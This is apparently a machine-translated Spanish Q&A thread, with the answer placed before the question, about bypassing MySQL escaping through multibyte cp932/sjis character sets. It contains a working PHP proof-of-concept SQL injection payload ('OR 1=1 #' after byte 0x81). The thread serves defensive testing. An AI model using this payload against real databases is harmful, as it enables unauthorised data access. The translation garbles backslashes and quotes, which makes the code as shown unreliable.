php - prevent - sql injection ejemplos reales
¿Cómo crear un ataque de inyección SQL con Shift-JIS y CP932? (1)
El diablo está en los detalles ... empecemos con cómo la respuesta en cuestión describe la lista de conjuntos de caracteres vulnerables:
Para que funcione este ataque, necesitamos la codificación que el servidor espera en la conexión para codificar
''como en ASCII, es decir,0x27y para tener algún carácter cuyo byte final sea ASCII/ie0x5c. Como resultado, hay 5 de tales codificaciones soportadas en MySQL 5.6 por defecto:big5,cp932,gb2312,gbkysjis. Seleccionaremosgbkaquí .
Esto nos da un contexto: 0xbf5c se usa como ejemplo para gbk , no como el carácter universal que se debe usar para todos los 5 juegos de caracteres.
Sucede que la misma secuencia de bytes también es un carácter válido en big5 y gb2312 .
En este punto, su pregunta se vuelve tan fácil como esto:
¿Qué secuencia de bytes es un carácter válido en
cp932ysjisy termina en0x5c?
Para ser justos, la mayoría de las búsquedas de Google que probé para estos conjuntos de caracteres no dan ningún resultado útil. Pero encontré este archivo CP932.TXT , en el que si busca ''5c '' (con el espacio allí), saltará a esta línea:
0x815C 0x2015 # BARRA HORIZONTAL
Y tenemos un ganador! :)
Algunos documentos de Oracle confirman que 0x815c es el mismo personaje tanto para cp932 como para sjis y PHP también lo reconoce:
php > var_dump(mb_strlen("/x81/x5c", "cp932"), mb_strlen("/x81/x5c", "sjis"));
int(1)
int(1)
Aquí hay una secuencia de comandos PoC para el ataque:
<?php
$username = ''username'';
$password = ''password'';
$mysqli = new mysqli(''localhost'', $username, $password);
foreach (array(''cp932'', ''sjis'') as $charset)
{
$mysqli->query("SET NAMES {$charset}");
$mysqli->query("CREATE DATABASE {$charset}_db CHARACTER SET {$charset}");
$mysqli->query("USE {$charset}_db");
$mysqli->query("CREATE TABLE foo (bar VARCHAR(16) NOT NULL)");
$mysqli->query("INSERT INTO foo (bar) VALUES (''baz''), (''qux'')");
$input = "/x81/x27 OR 1=1 #";
$input = $mysqli->real_escape_string($input);
$query = "SELECT * FROM foo WHERE bar = ''{$input}'' LIMIT 1";
$result = $mysqli->query($query);
if ($result->num_rows > 1)
{
echo "{$charset} exploit successful!/n";
}
$mysqli->query("DROP DATABASE {$charset}_db");
}
Estoy escribiendo algunas pruebas unitarias para asegurar que mi código no sea vulnerable a la inyección de SQL bajo varios conjuntos de caracteres.
Según esta respuesta , puede crear una vulnerabilidad inyectando /xbf/x27 usando uno de los siguientes conjuntos de caracteres: big5 , cp932 , gb2312 , gbk y sjis
Esto se debe a que si su escape no está configurado correctamente, verá el 0x27 e intentará escapar de modo que se convierta en /xbf/x5c/x27 . Sin embargo, /xbf/x5c es en realidad un carácter en estos conjuntos de caracteres, por lo que la cita ( 0x27 ) se deja sin 0x27 .
Como he descubierto durante las pruebas, sin embargo, esto no es del todo cierto. Funciona para big5 , gb2312 y gbk pero ni 0xbf27 ni 0xbf5c son caracteres válidos en sjis y cp932 .
Ambos
mb_strpos("abc/xbf/x27def","''",0,''sjis'')
y
mb_strpos("abc/xbf/x27def","''",0,''cp932'')
Retorno 4 . es decir, PHP no ve /xbf/x27 como un solo carácter. Esto devuelve false para big5 , gb2312 y gbk .
También esto:
mb_strlen("/xbf/x5c",''sjis'')
Devuelve 2 (devuelve 1 para gbk ).
Entonces, la pregunta es: ¿hay otra secuencia de caracteres que haga que sjis y cp932 vulnerables a la inyección de SQL, o en realidad no son vulnerables en absoluto? o está mintiendo PHP, estoy completamente equivocado, y MySQL lo interpretará de manera totalmente diferente?